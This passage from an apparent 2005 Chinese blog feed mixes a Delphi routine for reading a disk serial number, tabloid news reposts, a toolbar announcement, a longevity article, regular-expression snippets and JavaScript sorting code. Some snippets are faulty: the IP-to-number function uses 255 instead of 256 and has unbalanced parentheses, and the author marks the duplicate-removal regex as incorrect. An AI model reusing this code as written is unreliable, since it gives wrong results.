$A0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bCommandReg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; := IDE_ID_FUNCTION;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not DeviceIoControl( hDevice, DFP_RECEIVE_DRIVE_DATA,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pInData, SizeOf(TSendCmdInParams)-1, pOutData,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; W9xBufferSize, cbBytesReturned, nil ) then Exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CloseHandle(hDevice);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp; with PIdSector(PChar(pOutData)+16)^ do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ChangeByteOrder(sSerialNumber,SizeOf(sSerialNumber));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetString(Result,sSerialNumber,SizeOf(sSerialNumber));<BR>&nbsp;&nbsp;&nbsp; end;<BR>end;</P>
<P>END.</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P>//win98要 c:\windows\system\的smartvsd.vxd<BR>//copy to c:\windows\system\iosubsys<BR>//reboot your computer and ok<BR>//2000 and nt do not need<BR>得到硬盘物理序号:</P>
<P>uses hdid;</P>
<P>hdsn:=trim(GetIdeDiskSerialNumber);</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=55" /> 
	  <id>http://www.openx.cn/default.asp?id=55</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[重庆出现帅哥人体盛宴 数位美女共同享用(图)]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-24T17:09:18+08:00</updated>
	  <published>2005-09-24T17:09:18+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]http://img1.qq.com/news/20050924/2370914.jpg[/img]</P>
<P>数位女子享用帅哥人体盛宴&nbsp; </P>
<P>[img]http://img1.qq.com/news/20050924/2370915.jpg[/img]</P>
<P>人体盛宴媒体报道</P>
<P>摘:http://news.qq.com/a/20050924/000470.htm</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=54" /> 
	  <id>http://www.openx.cn/default.asp?id=54</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[阿富汗成人交友网站]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-23T09:18:54+08:00</updated>
	  <published>2005-09-23T09:18:54+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]http://bbs.91.com/Storage/PostAccessory/2005-09-19/058eeee5-5349-4996-bb90-41dbd6eaae76.jpg[/img]</P>
<P>这是如何交友发？头巾到是不错～</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=53" /> 
	  <id>http://www.openx.cn/default.asp?id=53</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[克林顿被注册为安全套商标]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-23T09:04:01+08:00</updated>
	  <published>2005-09-23T09:04:01+08:00</published>
		  <summary type="html"><![CDATA[<P><SPAN id=TopicDetail_DataList1__ctl0_lblPostBody>据新快报报道，“克林顿”是美国前总统，“莱温斯基”是他的绯闻情人，这段“拉链门”公案一度闹得世人皆知。今年，广州一家公司却把这两位名人的名字注册成了安全套的名称，并于日前召开了新闻发布会。这家公司在会上介绍，“克林顿”牌安全套盒内还配有一张春宫图，并称此举旨在推广健康的性文化。对此，市有关部门认为：商家的做法不妥，应当停止。</SPAN></P>
<P><SPAN>[img]http://www.vincitime.com/img/2005/9/19/53172572_467[/img]</SPAN></P>
<P><SPAN><STRONG>商家称：“克林顿”只是外国的姓&nbsp; <BR><BR></STRONG>拥有“克林顿”与“莱温斯基”牌安全套商标的是广州豪键生物科技有限公司。该公司的总经理刘文华称，从今年4月26日起，公司就可合法使用这两个商标了。他说，把国际知名人士的姓用作安全套的商标，这在国内尚属首次。&nbsp; <BR><B>“克林顿”“莱温斯基”成安全套&nbsp; <BR></B><BR>刘文华说，商标的注册均按照正常的程序办理，并没有多花一分钱。据了解，北京曾有商家表示愿意花1000万元购买该商标。对此，刘文华称，虽然价格诱人，但出让“克林顿”和“莱温斯基”商标的可能性几乎为零。&nbsp; <BR>另外在活动现场，也有人表示用“克林顿”作商标名，是否会构成知识产权问题。商家解释，用作安全套名的两个商标，其实只是外国的两个姓，不会构成侵权。</SPAN></P>
<P><SPAN>[img]http://photo.sohu.com/20040823/Img221682379.jpg[/img]</SPAN></P>
<P><SPAN><STRONG>内藏春宫图只为“推广成人文化”？&nbsp; <BR><BR></STRONG>该公司的安全套除了名称吸引人之外，其内容也大有玄机。商标持有者介绍，12只装的“克林顿”和“莱温斯基”牌安全套盒内均藏有一张特别的卡片：卡片的一面是春宫图，反面则是成人笑话。&nbsp; <BR>记者在现场看见，春宫图为古代版式，每一张都是不同的性交姿势，图画描绘精细，人物的私处也不做遮挡。商标持有者说，他们要让这一品牌的安全套成为推广健康的成人文化的载体，要向人们介绍正确的性爱知识。&nbsp; <BR>新闻发布会上有人质疑，商家的做法是否会有教唆人们做“不正常男女关系”的含义。商家对此予以否认。&nbsp; <BR>据悉，12只装的“克林顿”与“莱温斯基”牌安全套均为男用型号，售价分别是29.8元/盒、18.8元/盒，代表中高档和中低档两类产品。其产品还购买了总额100万元的产品责任险。在9月20日至25日期间，商家会在广州市范围内免费派发10万只该品牌安全套。&nbsp; <BR><B>有关部门称配装春宫图之举不妥&nbsp; <BR></B><BR>不过，对于该公司“安全套+春宫图”的销售策略，市民刘小姐却不买账，她气愤地说：“这不是让人学坏吗？”刘小姐认为，现在士多、超市都有安全套出售，购买非常便利，消费者中还不乏学生哥，“学生本身自控力差，看见这些赤裸裸的性交图画，有样学样还了得？”&nbsp; <BR>广州市新闻出版广播电视局出版物市场管理处胡炳广处长也认为，商家在安全套内夹带春宫图的做法不妥。他说，如果是起宣传、教育作用的非卖品，那在备案后如此做没有什么大问题，但有关性的图画等物品一旦进入市场销售环节，通过经营来取得经济利益，那显然是应该被禁止的。胡炳广称，他们并没有受理“克林顿”和&nbsp;“莱温斯基”牌安全套夹带春宫图的备案。<BR></SPAN></P>
<P><SPAN>摘：<A href="http://bbs.91.com/Topic/ViewTopic.aspx?URL=0,2,35705,0,0,1">http://bbs.91.com/Topic/ViewTopic.aspx?URL=0,2,35705,0,0,1</A></P></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=52" /> 
	  <id>http://www.openx.cn/default.asp?id=52</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[微软发布IE Developer Toolbar Beta版]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-21T08:23:58+08:00</updated>
	  <published>2005-09-21T08:23:58+08:00</published>
		  <summary type="html"><![CDATA[微软发布了Internet Explorer Developer&nbsp;Toolbar Beta版。该产品让开发人员能够深入探索和理解Web页面，帮助开发者更好地创建Web应用。
<P>IE Developer Toolbar特性如下：</P>
<P>－浏览和修改Web页的文档对象模型（DOM）。<BR>－通过多种技术方式定位、选定Web页上的特定元素。<BR>－禁止或激活IE设置。<BR>－查看HTML对象的类名、ID，以及类似链接路径、tab顺序、快捷键等细节。<BR>－描绘表格、单元格、图片或选定标签的轮廓。<BR>－显示图片象素、大小、路径、替代文字等。<BR>－即时重定义浏览器窗口大小到800x600或自定义大小。<BR>－清空浏览器缓存和cookie，被清除项可从所有对象或给定域中选择。<BR>－直接访问关联W3C规范参考、IE开发组blog或其他来源。<BR>－显示设计时标尺，帮助对齐对象。</P>
<P>该工具条可集成在IE窗口，或以浮动窗口形式存在。</P>
<P>下载地址：<A href="http://www.microsoft.com/downloads/details.aspx?FamilyID=e59c3964-672d-4511-bb3e-2d5e1db91038&DisplayLang=en"><FONT color=#000066>http://www.microsoft.com/downloads/details.aspx?FamilyID=e59c3964-672d-4511-bb3e-2d5e1db91038&DisplayLang=en</FONT></A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=51" /> 
	  <id>http://www.openx.cn/default.asp?id=51</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[科学家抛出惊世观点 人完全可以活1000岁]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-20T19:19:36+08:00</updated>
	  <published>2005-09-20T19:19:36+08:00</published>
		  <summary type="html"><![CDATA[<P>&nbsp;&nbsp;&nbsp;&nbsp;英国和俄罗斯的科学家认为，人可以活到1000岁，这是否可能？在上周英国剑桥国王学院召开的一次科学大会上，今年41岁的德格雷再次抛出“人完全有理由活到1000岁”这一惊世骇俗的观点，这如同在科学大会上投掷了一枚炸弹。 <BR><BR>人体衰老可以控制<BR><BR>格雷通过研究找到了一个<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;细胞“衰老公式”。他认为，影响人体衰老大致有五个因素：1、细胞的萎缩和恶化；2、细胞的恶性繁殖；3、染色体的变化；4、线粒体的变化；5、细胞体内垃圾的堆积。而这五个因素都可以通过相应的方法进行控制。比如说衰老是生物体细胞不可避免的一个过程，细胞一个一个地死去，人也会伴随这细胞数目减少而消亡。但是如果通过刺激细胞的分裂，控制细胞的分裂速度和次数，或是定期向体内输入新的细胞替代死去的细胞，就可以在一定程度上控制人体的衰老过程。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;格雷此前曾谈到过自己的这一观点，只是没有得到广泛关注。现在他欢迎有人能够对他的观点提出质疑。他为了说服其它科学家参与到抗衰老的研究工作来，提出出资16万美金奖励第一位把成年老鼠的寿命由2岁延长到5岁（相当于人的寿命由80岁延长到150岁）的科学家。<BR><BR>科学怪人的同党<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;1998年加州技术学院的一位科学家发现在果蝇体内的一种基因可以使果蝇寿命延长30%，该基因被称为“玛士撒拉（《圣经》中以诺之子，据传享年969岁）”基因。这一结果鼓励了从事相关研究的学者。<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;每年有成百上千万的资金被用于研究抗衰老，有些科学家希望干细胞就是解决这个难题的关键。尽管德格雷的观点是多么不太令人信服，但是还是有人认同他的观点。<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;莫斯科国立大学物理化学生物学研究所所长弗·斯库拉乔夫院士此前也曾提出人的寿命正向1000岁这个目标接近。斯库拉乔夫认为，衰老和死亡是自然界赋予基因的一种程序。不过，这个程序是可以打破的，从而清除减少寿命的机制。但许多科学家并不同意斯库拉乔夫的“这个机制控制整个机体的生命”这一观点。专家：千岁难以想象<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;科学家们对格雷的观点，反应不一。麻省理工大学的科技评论编辑表示愿意出资2万美金，奖励凡是能够提出有效的论据驳斥格雷观点的科学家，但是到目前为止还没有人能领走这笔奖金。记者带着问题采访了北京大学衰老研究中心主任童坦君教授，童教授对这种观点持保留意见：“通过控制细胞的增长人使人体衰老得慢一点是可以的。但是也有一个限度，人要活1000年则难以想象。”</P>
<P><FONT color=#7d7d7d>凯迪网络 <A href="http://www.cat898.com">http://www.cat898.com</A></FONT></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=50" /> 
	  <id>http://www.openx.cn/default.asp?id=50</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[常用的匹配正则表达式和实例]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-20T10:21:52+08:00</updated>
	  <published>2005-09-20T10:21:52+08:00</published>
		  <summary type="html"><![CDATA[匹配中文字符的正则表达式： [\u4e00-\u9fa5]<BR><BR>匹配双字节字符(包括汉字在内)：[^\x00-\xff]<BR><BR>应用：计算字符串的长度（一个双字节字符长度计2，ASCII字符计1）<BR><BR>String.prototype.len=function(){return this.replace([^\x00-\xff]/g,"aa").length;}<BR><BR>匹配空行的正则表达式：\n[\s| ]*\r<BR><BR>匹配HTML标记的正则表达式：/&lt;(.*)&gt;.*&lt;\/\1&gt;|&lt;(.*) \/&gt;/ <BR><BR>匹配首尾空格的正则表达式：(^\s*)|(\s*$)<BR><BR>应用：javascript中没有像vbscript那样的trim函数，我们就可以利用这个表达式来实现，如下：<BR><BR>String.prototype.trim = function()<BR>{<BR>return this.replace(/(^\s*)|(\s*$)/g, "");<BR>}<BR><BR>利用正则表达式分解和转换IP地址：<BR><BR>下面是利用正则表达式匹配IP地址，并将IP地址转换成对应数值的Javascript程序：<BR><BR>function IP2V(ip)<BR>{<BR>re=/(\d+)\.(\d+)\.(\d+)\.(\d+)/g //匹配IP地址的正则表达式<BR>if(re.test(ip))<BR>{<BR>return RegExp.$1*Math.pow(255,3))+RegExp.$2*Math.pow(255,2))+RegExp.$3*255+RegExp.$4*1<BR>}<BR>else<BR>{<BR>throw new Error("Not a valid IP address!")<BR>}<BR>}<BR><BR>不过上面的程序如果不用正则表达式，而直接用split函数来分解可能更简单，程序如下：<BR><BR>var ip="10.100.20.168"<BR>ip=ip.split(".")<BR>alert("IP值是："+(ip[0]*255*255*255+ip[1]*255*255+ip[2]*255+ip[3]*1))<BR><BR>匹配Email地址的正则表达式：\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*<BR><BR>匹配网址URL的正则表达式：http://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)?<BR><BR>利用正则表达式去除字串中重复的字符的算法程序：[注：此程序不正确，原因见本贴回复]<BR><BR>var s="abacabefgeeii"<BR>var s1=s.replace(/(.).*\1/g,"$1")<BR>var re=new RegExp("["+s1+"]","g")<BR>var s2=s.replace(re,"") <BR>alert(s1+s2) //结果为：abcefgi<BR><BR>我原来在CSDN上发贴寻求一个表达式来实现去除重复字符的方法，最终没有找到，这是我能想到的最简单的实现方法。思路是使用后向引用取出包括重复的字符，再以重复的字符建立第二个表达式，取到不重复的字符，两者串连。这个方法对于字符顺序有要求的字符串可能不适用。<BR><BR>得用正则表达式从URL地址中提取文件名的javascript程序，如下结果为page1<BR><BR>s="http://www.9499.net/page1.htm"<BR>s=s.replace(/(.*\/){0,}([^\.]+).*/ig,"$2")<BR>alert(s)<BR><BR>利用正则表达式限制网页表单里的文本框输入内容：<BR><BR>用正则表达式限制只能输入中文：onkeyup="value=value.replace(/[^\u4E00-\u9FA5]/g,'')" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\u4E00-\u9FA5]/g,''))"<BR><BR>用正则表达式限制只能输入全角字符： onkeyup="value=value.replace(/[^\uFF00-\uFFFF]/g,'')" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\uFF00-\uFFFF]/g,''))"<BR><BR>用正则表达式限制只能输入数字：onkeyup="value=value.replace(/[^\d]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))"<BR><BR>用正则表达式限制只能输入数字和英文：onkeyup="value=value.replace(/[\W]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))"]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=49" /> 
	  <id>http://www.openx.cn/default.asp?id=49</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[javascript 的几种排序方法]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-20T10:19:08+08:00</updated>
	  <published>2005-09-20T10:19:08+08:00</published>
		  <summary type="html"><![CDATA[<P>所谓排序，就是要整理文件中的记录，使之按关键字递增(或递减)次序排列起来。其确切定义如下：<BR>　　输入：n个记录R<SUB>1</SUB>，R<SUB>2</SUB>，…，R<SUB>n</SUB>，其相应的关键字分别为K<SUB>1</SUB>，K<SUB>2</SUB>，…，K<SUB>n</SUB>。<BR>　　输出：R<SUB>il</SUB>，R<SUB>i2</SUB>，…，R<SUB>in</SUB>，使得K<SUB>i1</SUB>≤K<SUB>i2</SUB>≤…≤K<SUB>in</SUB>。(或K<SUB>i1</SUB>≥K<SUB>i2</SUB>≥…≥K<SUB>in</SUB>)。</P>
<P>&nbsp;&nbsp;&nbsp; 这里，我们简单介绍几种排序方法，直接插入排序、希儿排序、冒泡排序、快速排序、直接选择排序，文中所提及的代码在IE6下测试通过。</P>
<P><STRONG>直接插入排序基本思想</STRONG><BR>&nbsp;&nbsp;&nbsp; 假设待排序的记录存放在数组R[1..n]中。初始时，R[1]自成1个有序区，无序区为R[2..n]。从i=2起直至i=n为止，依次将R[i]插入当前的有序区R[1..i-1]中，生成含n个记录的有序区。</P>
<P>&nbsp;&nbsp;&nbsp; 算法描述<BR><SPAN class=code>&nbsp;function InsertSort(arr) { //插入排序-&gt;直接插入法排序<BR>&nbsp;&nbsp;var st = new Date();<BR>&nbsp;&nbsp;var temp, j;<BR>&nbsp;&nbsp;for(var i=1; i&lt;arr.length; i++) {<BR>&nbsp;&nbsp;&nbsp;if((arr[i]) &lt; (arr[i-1])) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;temp = arr[i];<BR>&nbsp;&nbsp;&nbsp;&nbsp;j = i-1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;do {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arr[j+1] = arr[j];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;j--;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;while (j&gt;-1 && (temp) &lt; (arr[j]));<BR>&nbsp;&nbsp;&nbsp;&nbsp;arr[j+1] = temp;<BR>&nbsp;&nbsp;&nbsp;}//endif<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;status = (new Date() - st) + ' ms';<BR>&nbsp;&nbsp;return arr;<BR>&nbsp;}</SPAN></P>
<P><STRONG>希尔排序基本思想<BR></STRONG>　&nbsp;&nbsp;先取一个小于n的整数d<SUB>1</SUB>作为第一个增量，把文件的全部记录分成d<SUB>1</SUB>个组。所有距离为d<SUB>l</SUB>的倍数的记录放在同一个组中。先在各组内进行直接插人排序；然后，取第二个增量d<SUB>2</SUB>&lt;d<SUB>1</SUB>重复上述的分组和排序，直至所取的增量d<SUB>t</SUB>=1(d<SUB>t</SUB>&lt;d<SUB>t-l</SUB>&lt;…&lt;d<SUB>2</SUB>&lt;d<SUB>1</SUB>)，即所有记录放在同一组中进行直接插入排序为止。<BR>&nbsp; 　该方法实质上是一种分组插入方法。</P>
<P>&nbsp;&nbsp;&nbsp; 算法描述<BR><SPAN class=code>
<P>&nbsp;function ShellSort(arr) { //插入排序-&gt;希儿排序<BR>&nbsp;&nbsp;var st = new Date();<BR>&nbsp;&nbsp;var increment = arr.length;<BR>&nbsp;&nbsp;do {<BR>&nbsp;&nbsp;&nbsp;increment = (increment/3|0) + 1;<BR>&nbsp;&nbsp;&nbsp;arr = ShellPass(arr, increment);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;while (increment &gt; 1)</P>
<P>&nbsp;&nbsp;status = (new Date() - st) + ' ms';<BR>&nbsp;&nbsp;return arr;<BR>&nbsp;}<BR>&nbsp;function ShellPass(arr, d) { //希儿排序分段执行函数<BR>&nbsp;&nbsp;var temp, j;<BR>&nbsp;&nbsp;for(var i=d; i&lt;arr.length; i++) {<BR>&nbsp;&nbsp;&nbsp;if((arr[i]) &lt; (arr[i-d])) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;temp = arr[i]; j = i-d;<BR>&nbsp;&nbsp;&nbsp;&nbsp;do {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arr[j+d] = arr[j];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;j = j-d;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;while (j&gt;-1 && (temp) &lt; (arr[j]));<BR>&nbsp;&nbsp;&nbsp;&nbsp;arr[j+d] = temp;<BR>&nbsp;&nbsp;&nbsp;}//endif<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;return arr;<BR>&nbsp;}</P>
<P></SPAN></P>
<P><STRONG>冒泡排序基本思想<BR></STRONG>&nbsp;&nbsp;&nbsp; 将被排序的记录数组R[1..n]垂直排列，每个记录R[i]看作是重量为R[i].key的气泡。根据轻气泡不能在重气泡之下的原则，从下往上扫描数组R：凡扫描到违反本原则的轻气泡，就使其向上"飘浮"。如此反复进行，直到最后任何两个气泡都是轻者在上，重者在下为止。<BR>
<P>&nbsp;&nbsp;&nbsp; 算法描述<BR><SPAN class=code>&nbsp;function BubbleSort(arr) { //交换排序-&gt;冒泡排序<BR>&nbsp;&nbsp;var st = new Date();<BR>&nbsp;&nbsp;var temp;<BR>&nbsp;&nbsp;var exchange;<BR>&nbsp;&nbsp;for(var i=0; i&lt;arr.length; i++) {<BR>&nbsp;&nbsp;&nbsp;exchange = false;<BR>&nbsp;&nbsp;&nbsp;for(var j=arr.length-2; j&gt;=i; j--) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;if((arr[j+1]) &lt; (arr[j]))&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;temp = arr[j+1];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arr[j+1] = arr[j];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arr[j] = temp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exchange = true;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;if(!exchange)&nbsp;break;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;status = (new Date() - st) + ' ms';<BR>&nbsp;&nbsp;return arr;<BR>&nbsp;}</P>
<P></SPAN></P>
<P></P>
<P><STRONG>快速排序基本思想<BR></STRONG>&nbsp;&nbsp;&nbsp; 将原问题分解为若干个规模更小但结构与原问题相似的子问题。递归地解这些子问题，然后将这些子问题的解组合为原问题的解。<BR>&nbsp;&nbsp;&nbsp; 在R[low..high]中任选一个记录作为基准(Pivot)，以此基准将当前无序区划分为左、右两个较小的子区间R[low..pivotpos-1)和R[pivotpos+1..high]，并使左边子区间中所有记录的关键字均小于等于基准记录(不妨记为pivot)的关键字pivot.key，右边的子区间中所有记录的关键字均大于等于pivot.key，而基准记录pivot则位于正确的位置(pivotpos)上，它无须参加后续的排序。</P>
<P>&nbsp;&nbsp;&nbsp; 算法描述<BR><SPAN class=code>&nbsp;function QuickSort(arr) { //交换排序-&gt;快速排序<BR>&nbsp;&nbsp;if (arguments.length&gt;1) {<BR>&nbsp;&nbsp;&nbsp;var low = arguments[1];<BR>&nbsp;&nbsp;&nbsp;var high = arguments[2];<BR>&nbsp;&nbsp;} else {<BR>&nbsp;&nbsp;&nbsp;var low = 0;<BR>&nbsp;&nbsp;&nbsp;var high = arr.length-1;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;if(low &lt; high){<BR>&nbsp;&nbsp;&nbsp;// function Partition<BR>&nbsp;&nbsp;&nbsp;var i = low;<BR>&nbsp;&nbsp;&nbsp;var j = high;<BR>&nbsp;&nbsp;&nbsp;var pivot = arr[i];<BR>&nbsp;&nbsp;&nbsp;while(i&lt;j) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;while(i&lt;j && arr[j]&gt;=pivot)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;j--;<BR>&nbsp;&nbsp;&nbsp;&nbsp;if(i&lt;j)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arr[i++] = arr[j];<BR>&nbsp;&nbsp;&nbsp;&nbsp;while(i&lt;j && arr[i]&lt;=pivot)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i++;<BR>&nbsp;&nbsp;&nbsp;&nbsp;if(i&lt;j)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arr[j--] = arr[i];<BR>&nbsp;&nbsp;&nbsp;}//endwhile<BR>&nbsp;&nbsp;&nbsp;arr[i] = pivot;<BR>&nbsp;&nbsp;&nbsp;// end function<BR>&nbsp;&nbsp;&nbsp;var pivotpos = i; //Partition(arr，low，high);<BR>&nbsp;&nbsp;&nbsp;QuickSort(arr, low, pivotpos-1);<BR>&nbsp;&nbsp;&nbsp;QuickSort(arr, pivotpos+1, high);<BR>&nbsp;&nbsp;} else<BR>&nbsp;&nbsp;&nbsp;return;<BR>&nbsp;&nbsp;&nbsp;return arr;<BR>&nbsp;}</SPAN></P>
<P><STRONG>直接选择排序基本思想<BR></STRONG>&nbsp;&nbsp;　n个记录的文件的直接选择排序可经过n-1趟直接选择排序得到有序结果：<BR>&nbsp;①初始状态：无序区为R[1..n]，有序区为空。<BR>&nbsp;②第1趟排序<BR>&nbsp;&nbsp;&nbsp; 在无序区R[1..n]中选出关键字最小的记录R[k]，将它与无序区的第1个记录R[1]交换，使R[1..1]和R[2..n]分别变为记录个数增加1个的新有序区和记录个数减少1个的新无序区。<BR>　　……<BR>&nbsp;③第i趟排序<BR>　　第i趟排序开始时，当前有序区和无序区分别为R[1..i-1]和R[i..n](1≤i≤n-1)。该趟排序从当前无序区中选出关键字最小的记录R[k]，将它与无序区的第1个记录R[i]交换，使R[1..i]和R[i+1..n]分别变为记录个数增加1个的新有序区和记录个数减少1个的新无序区。<BR>&nbsp;&nbsp;&nbsp; 这样，n个记录的文件的直接选择排序可经过n-1趟直接选择排序得到有序结果。</P>
<P>&nbsp;&nbsp;&nbsp; 算法描述<BR><SPAN class=code>&nbsp;function SelectSort(arr) { //选择排序-&gt;直接选择排序<BR>&nbsp;&nbsp;var st = new Date();<BR>&nbsp;&nbsp;var temp;<BR>&nbsp;&nbsp;for(var i=0; i&lt;arr.length; i++) {<BR>&nbsp;&nbsp;&nbsp;var k = i;<BR>&nbsp;&nbsp;&nbsp;for(var j=i+1; j&lt;arr.length; j++) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;if((arr[j]) &lt; (arr[k]))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;k = j;<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;if (k != i){<BR>&nbsp;&nbsp;&nbsp;&nbsp;temp = arr[i];<BR>&nbsp;&nbsp;&nbsp;&nbsp;arr[i] = arr[k];<BR>&nbsp;&nbsp;&nbsp;&nbsp;arr[k] = temp;<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;status = (new Date() - st) + ' ms';<BR>&nbsp;&nbsp;return arr;<BR>&nbsp;}</SPAN></P>
<P><SPAN class=code></SPAN>&nbsp;</P>
<P><SPAN class=code></SPAN>&nbsp;</P>
<P><SPAN class=code>=========================================</SPAN></P>
<P><SPAN class=code>示例:</SPAN></P>
<P><SPAN class=code>&lt;style&gt;<BR>fieldset {<BR>&nbsp;font-size:12px;<BR>&nbsp;padding:10px;<BR>&nbsp;width:80%;<BR>&nbsp;margin:auto;<BR>}<BR>input {<BR>&nbsp;font-size:12px;<BR>&nbsp;font-family:Tahoma;<BR>}<BR>&lt;/style&gt;<BR>&lt;title&gt;排序&lt;/title&gt;<BR>&lt;h3 align="center"&gt;排序&lt;/h3&gt;<BR>&lt;fieldset&gt;<BR>&lt;legend&gt;插入排序&lt;/legend&gt;</SPAN></P>
<P><SPAN class=code>&lt;p&gt;&lt;b&gt;直接插入排序&lt;/b&gt;<BR>请输入一段要排序的字符，用半角逗号隔开<BR>&lt;input name=insert type=text size=100 value="g,v,u,f,p,o,i,a,t,j,e,l,k"&gt;<BR>&lt;br&gt;&lt;input type=button value=" 排序 " onclick="alert(InsertSort(insert.value.split(',')));"&gt;</SPAN></P>
